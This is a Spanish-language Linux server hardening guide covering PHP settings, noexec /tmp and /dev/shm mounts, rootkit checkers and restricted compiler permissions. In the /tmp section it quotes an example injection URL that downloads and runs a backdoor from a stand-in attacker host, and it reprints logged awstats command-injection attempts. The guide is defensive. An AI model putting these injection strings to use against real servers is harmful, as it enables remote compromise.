Recomendaciones generales de seguridad
Recomendaciones generales
* Siempre actualizar el kernel cuando sale un bug de seguridad.
* Estar apuntado a la lista de seguridad de Debian/RH/MDK y hacer updates en cuanto salen avisos.
* Estar apuntado a otras listas de seguridad, y si sale un bug en ellas
y aun no ha llegado el aviso de Debian/RH/MDK, comprobar si tenemos el
bug y si hace falta cortar el servicio.
* Tener un kernel, si es posible, estático, es decir: las opciones que
necesito las tengo integradas como Y (nunca como modulos), y en la
segunda opcion del make menuconfig (las de los modulos), quito el
soporte de modulos: como no se pueden cargar modulos, no me pueden
cargar los modulos de los rootkits. En determinados casos no se podrá
dejar sin soporte de módulos (si necesitamos vmware, lmsensors,
bluetooth ...), pero en un servidor que no tenga nada de esto, es
prácticamente obligatorio.
* Cambiar diferentes opciones de PHP:
o Activar el safe_mode = on de php.ini para PHP4. Eso hace que cuando
se ejecuta un script que es de usuario:grupo, ese script sólo puede
acceder a ficheros de usuario:grupo. Es decir, no podria hacer un cat
del /etc/passwd aunque tenga permiso de lectura para todos. El safemode
tampoco permite ejecutar comandos (para que no te hagan via fallos de
apache ids, uname -a, y demás). A veces no es posible activar el
safemode, depende de si tenemos alguna aplicación que sea incompatible
con él o no (por ejemplo, algunos webmails no funcionan si activas
safe_mode) (http://es2.php.net/features.safe-mode).
o Desactivar Register_globals (a Off) si las aplicaciones PHP que
usemos están bien realizadas (es decir, deben acceder a las variables
de los formularios mediante $_POST['VARIABLE']). Conviene que leas el
manual de PHP relativo a register_globals para saber qué hace antes de
tocar nada (http://es.php.net/register_globals).
Al respecto del safe_mode y register_globals, minskog nos comenta lo
siguiente:
"Solo un apunte, si necesitas safe_mode off o globas_register a on para
alguna aplicacion en concreto, y sabes que esa aplicacion está bien
hecha y que el acceso a ese directorio lo controlas tú, por ejemplo
gallery o vhcs , hay una directiva que te permite sobreescribir la conf
de php (evidentemente por seguridad no funciona en .htaccess). Sería
php_admin_flag:
php_admin_flag safe_mode off
php_admin_flag register_global on
Esto te permite dejar el server con safe_mode y register_globals a
nivel de server, y desactivarlos donde necesites/quieras. Reitero que
NO funciona en .htaccess por seguridad, tiene que ir en la conf de
apache."
o Desactivar el Error Reporting de forma que no aparezcan por pantalla
errores de PHP/Base de datos (no dando pistas de nombres de tablas,
bases de datos, etc.). Para ello, cambiar las opciones display_errors,
y/o error_reporting de php.ini. (http://es.php.net/error_reporting).
* Mi servidor de correo es qmail (sin fallos de seguridad desde 1997 y
aun esperando que alguien lo reviente por un premio de 100.000 $). Es
infinitamente más seguro que un sendmail. Otra gran opción es postfix,
o no correr ningún servidor de correo si no es necesario.
* Si no necesitamos ningún servidor de correo abierto al exterior,
reconfigurar el que usemos para que sólo escuche en 127.0.0.1.
* Si no vamos a utilizar remotamente mysql, añadir la opción del
skip-networking en el /etc/my.cnf. Con esto conectaremos vía socket
local y se dejarán de aceptar conexiones en el puerto 3306.
* Si no es necesario, desinstalar portmap y servicios asociados (rpc, statd, nfs-kernel-server, etc.).
* Los directorios /tmp y /var/tmp montados aparte como particiones con
opciones nosuid, noexec y nodev. Estas opciones evitan que los usuarios
puedan ejecutar scripts o binarios en esas particiones.
* Binarios de compilación y descarga con permisos restringidos (gcc, make, wget, lynx...).
* Instalar algún software de control de binarios como tripwire, aide y
algún chequeador de rootkits como chkrootkit y rkhunter.
(Nota, una vez instalado, basta con añadir estas 2 líneas al /etc/crontab:
00 4 * * * root rkhunter --update > /dev/null 2>&1
30 4 * * * root rkhunter -c --nocolors --cronjob --report-mode
--createlogfile --skip-keypress --quiet
)
* Los logs de los analizadores (tripwire, rkhunter, etc.), no dejarlos
nunca en el sistema, enviarlos por email a una máquina externa (para
evitar que los "juackers" los falseen y nos engañen).
* Cambiar SSH de puerto, por ejemplo al 26 (editando el /etc/services y
luego el /etc/init.d/inetd.conf o xinetd).
* Finalmente, un buen firewall (por ejemplo, shorewall) debe cerrar el
acceso a todos los puertos que no debieran estar permitidos por debajo
de 1024. Pese a disponer del firewall, quitar todos los servicios y
desinstalar todos los paquetes no necesarios.
A continuación tenéis descritos con algo más de detalle alguno de los elementos que hemos visto en la lista anterior.
Montar /tmp como una partición aparte
Es
recomendable montar /tmp como una partición aparte del sistema, ya que
de ese modo puedes montarla con los parámetros noexec, nosuid, y nodev.
Estos parámetros provocan que no se puedan ejecutar binarios ni scripts
en /tmp, con lo cual evitamos a muchos usuarios que suben a /tmp
binarios y shells y los ejecutan, aprovechando fallos en apache o php.
Mediante
fallos de aplicaciones mal programadas en PHP o PERL (como programas de
estadísticas, webmails), muchos "juackers" consiguen ejecutar cosas
como:
http://MAQUINA.COM/index2.php?cmd='cd /tmp; wget www.juacker.com/bd; chmod 777 bd; ./bd'
(abriendo una shell desde la que entrar a nuestra máquina en remoto como usuario www-data).
Ejemplos de logs de apache reales:
A.B.C.D - - [04/Feb/2005:02:39:04 +0100] "GET
/cgi-bin/awstats.pl?configdir=|echo;echo;cd%20/tmp;chmod%20777%20bind;./bind;echo;echo|
HTTP/1.0" 200 305 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
X.Y.Z.W - - [02/Feb/2005:21:45:24 +0100] "GET
/cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%2f%3b%20mkdir%20%2
e%2e%2e%3b%20cd%20%2e%2e%2e%2f%3b%20mkdir%20%2e%2e%2e%3bcd%20%2e%2e%2e%2f%3b%20mkdir%20%
2e%2e%2e%3b%20cd%20%2e%2e%2e%2f%3b%20%20pwd%3becho%20e_exp%3b%2500 HTTP/1.1" 200 499 "-" "-"
H.I.J.K - - [31/Jan/2005:21:46:53 +0100] "GET
/cgi-bin/awstats.pl?configdir=%7c%20echo%20%22You%20have%20been%20Owned%2c%20update%20AW
stat%20or%20patch%22%20%3e%20%2ftmp%2fOWNED%20%7c%20 HTTP/1.1" 200 6349 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)"
Para
evitar esto se usan ciertas opciones al montar /tmp que lo evitan.
Claro está, que tenemos que haber previsto que /tmp iba a ser una
partición y haberla creado para poder usarla.
Al
instalar, si metes /tmp como partición sólo tendrás que cambiar el
fstab a posteriori (para el noexec, nomount, etc) y hacer:
cd /var
mv /var/tmp/* /tmp
rmdir tmp
ln -s /tmp /var/tmp
Un ejemplo de mi /etc/fstab para /tmp:
/dev/hda7 /tmp ext3 nosuid,noexec,nodev,rw 0 2
Si
no tenemos /tmp como una partición pero sí tenemos espacio para crear
la partición nueva podemos hacer una "conversión", mediante los
siguientes comandos: (ejemplo):
fdisk /dev/disco
(crear particion)
mkfs.ext2 -v /dev/loquesea
(Editar fstab y añadir linea en cuestion)
(parar servicios como apache y demás, hasta que /tmp esté vacio)
mkdir /temp
mv /tmp/* /temp
mount /tmp
chmod a+rwx /tmp
chmod +t /tmp
mv /temp/* /tmp
rmdir /temp
(y ahora los mismos pasos que antes, para que /var/tmp sea -> /tmp)
cd /var
mv /var/tmp/* /tmp
rmdir tmp
ln -s /tmp /var/tmp
(probamos a arrancar los servicios)
Tras esto lo mejor es reiniciar para ver que todo está ok.
Veamos un ejemplo de qué conseguimos con esto:
[sromero@pinsa:/tmp]$ whoami
sromero
[sromero@pinsa:/tmp]$ cat p.sh
#!/bin/sh
echo "Hola"
[sromero@pinsa:/tmp]$ ./p.sh
bash: ./p.sh: /bin/sh: bad interpreter: Permission denied
[sromero@pinsa:/tmp]$ cp /usr/local/bin/unrar .
[sromero@pinsa:/tmp]$ ./unrar
bash: ./unrar: Permission denied
Como
puede verse, con esto los juankers tienen algo más difícil el descargar
binarios en /tmp y ejecutarlos. Ojo, esto no es la seguridad absoluta,
cualquier buen juaker de verdad encontrará una vía diferente, pero sí
que te quitarás de encima a todos esos niñatos que se dedican a copiar
y pegar comandos de una web de juakers o el txt del exploit del mes.
Como crear un /tmp seguro en máquinas
sin espacio particionable en disco
Creamos
un fichero temporal en una partición con suficiente espacio, y lo
hacemos relleno de ceros y de 250MB (en este caso, puede ser mayor para
otros). Por ejemplo, en mi caso en /.
# dd if=/dev/zero of=/tmp_partition bs=1024 count=250000
Formateamos el fichero como si fuera una partición:
# mke2fs /tmp_partition
(Nota: puede ser ext3, pero para /tmp evitamos accesos extra innecesarios al disco usando ext2.)
Le indicamos a Linux que sólo lo chequee cada 200 días:
# tune2fs -c 200 -i 200 /tmp_partition
A
continuación hacemos pruebas de que funciona OK (entramos en /temp y
probamos a crear y modificar ficheros. Al acabar los borramos y
desmontamos /temp tras salir del directorio):
# mkdir /temp
# mount -t ext2 /tmp_partition /temp/ -o loop,rw
# (...)
# umount /temp
Si
hay algún problema al montarlo, es porque no tenemos soporte de
unidades loopback en nuestro kernel y tenemos que recompilar el kernel
para activar la opción (no obstante es muy común y seguramente la
tendremos activada).
El siguiente paso será añadir una
entrada al /etc/fstab y comprobar que está bien añadida. Editamos dicho
fichero y añadimos la siguiente línea:
/tmp_partition /temp ext2 loop,noexec,nosuid,rw 0 2
Ahora podemos probar directamente con:
# mount /temp
# umount /temp
# rmdir /temp
Una vez tenemos bien el fstab, pasamos a usar /tmp en lugar de /temp. Para eso editamos el fstab y lo dejamos como:
/tmp_partition /tmp ext2 loop,noexec,nosuid,rw 0 2
Para
poder montar /tmp nos tenemos que asegurar de que todos los servicios
que escriben en /tmp están parados. Lo normal es parar Apache, Oracle,
Vmware, etc. Podemos ver si hay más ficheros en uso con "lsof -n | grep
tmp". Una vez esté libre /tmp, hacemos:
# mount /tmp
# chmod 1777 /tmp
# mv /var/tmp/* /tmp
# rmdir /var/tmp
# ln -s /tmp /var/tmp
Con
esto tenemos un /tmp y un /var/tmp seguros, donde no se pueden ejecutar
binarios y separados del resto del sistema. Los dispositivos loopback
son algo más lentos que escribir directamente en una partición, pero no
es nada especialmente lento, y sólo se recomienda evitar su uso en
máquinas con mucha carga y que hagan uso intensivo de /tmp.
Si alguna vez es necesario deshacer el cambio para ganar espacio en disco en / (por ejemplo), es tan sencillo como:
# (parar servicios)
# mkdir /temp
# mv /tmp/* /temp/
# umount /tmp
# chmod 1777 /tmp
# (quitar o comentar la línea de /tmp en /etc/fstab)
# mv /temp/* /tmp/
# rmdir /temp
# (arrancar servicios)
En
resumen, con todos estos pasos conseguimos una partición /tmp segura,
separada del sistema, incluso en máquinas sin espacio para particionar.
Securizar la memoria compartida /dev/shm
Al
igual que se puede securizar /tmp, podemos securizar de la misma forma
/dev/shm, la memoria compartida que utilizan algunas aplicaciones para
poder comunicarse entre ellas. Es posible que no la tengamos en el
sistema, pero si la tenemos, lo mejor es transformar la línea del
/etc/fstab para que sea:
none /dev/shm tmpfs defaults,noexec,nosuid 0 0
Y tras esto, podemos reiniciar (o umount+mount si no está en uso).
Particiones del sistema
Unos consejos a la hora de crear particiones:
Para propósito general, con un disco de 20 gigas o más, recomiendo las siguientes particiones:
* / -> por ejemplo de 2 a 4 gigas sería suficiente para el sistema.
* /tmp -> entre medio giga y un giga sobrado.
* /var -> partición de 2 a 4 gigas montada como nodev,nosuid,noexec.
* /var/log -> partición de 2 gigas montada con nodev,nosuid,noexec.
* /home -> partición gorda para albergar /home y así separar los
datos del sistema (así / puede ser más pequeña, y en /home puedes poner
quotas).
Yo no pondría /etc aparte.
Además así si te es necesario también puedes montar /home con noexec y demás si no vas a ejecutar binarios desde ellas ...
Estos
valores son orientativos, los puedes aumentar segun el disco que
tengas, pero realmente, se supone que /home tendrá los datos de mucho
volumen (así que será una de las particiones más gordas), y /var tendrá
al final las bases de datos (así que también necesitarás algo de
espacio, pero no sé cuánto, depende de lo que tengas), y tambien puedes
poner los ficheros de mysql en /home/bbdd, por ej. Luego /var/log está
aparte para asegurar que un crecimiento de los logs no tira abajo el
sistema.
Y con todas esas particiones, / no necesita ser
muy grande porque los datos están en otros sitios y una debian estandar
no pasa de medio giga. Yo le pongo 5 para tener espacio para compilar
kernels y cosas de esas, pero sobra mucho...
Permisos sobre binarios de compilación y descargas
Por último, recomiendo lo siguiente:
chmod 0700 /usr/bin/make
chmod 0700 /usr/bin/gcc*
chmod 0700 /usr/bin/as86
chmod 0700 /usr/bin/lynx
chmod 0700 /usr/bin/wget
chmod 0700 /usr/bin/curl
chmod 0700 /usr/bin/nc
Así
te aseguras de que sólo root puede compilar. Como sólo root puede
compilar, si entran como www-data no podrán compilar los rootkits a
partir del codigo fuente, y tampoco ejecutarlos por el noexec. Además,
no podrán descargar los rootkits y exploits porque no tendrán
disponible wget ni lynx.
Antes de cambiar estos permisos
recordad que los usuarios dejarán de poder utilizar estos binarios, con
lo que si tenemos algún script que corra como usuario o algún user que
los utilice, tenemos que tenerlo en cuenta.
Cambiar SSH de puerto: del 22 al 26:
Os muestro los cambios realizados en mi sistema Debian:
# grep ssh-new /etc/services
ssh-new
26/tcp
# SSH Remote Login Protocol
ssh-new
26/udp
# SSH Remote Login Protocol
# grep ssh-new /etc/inetd.conf
ssh-new stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sshd -i
(hay que acordarse de abrirlo también en el firewall).
En otras distribuciones podéis necesitar modificar más bien xinetd.
Más información:
http://www.debian.org/doc/manuals/securing-debian-howto/
http://www.linuxsecurity.com/resource_file/host_security/securing-debian-howto/ch2.en.html
http://www.puschitz.com/SecuringLinux.shtml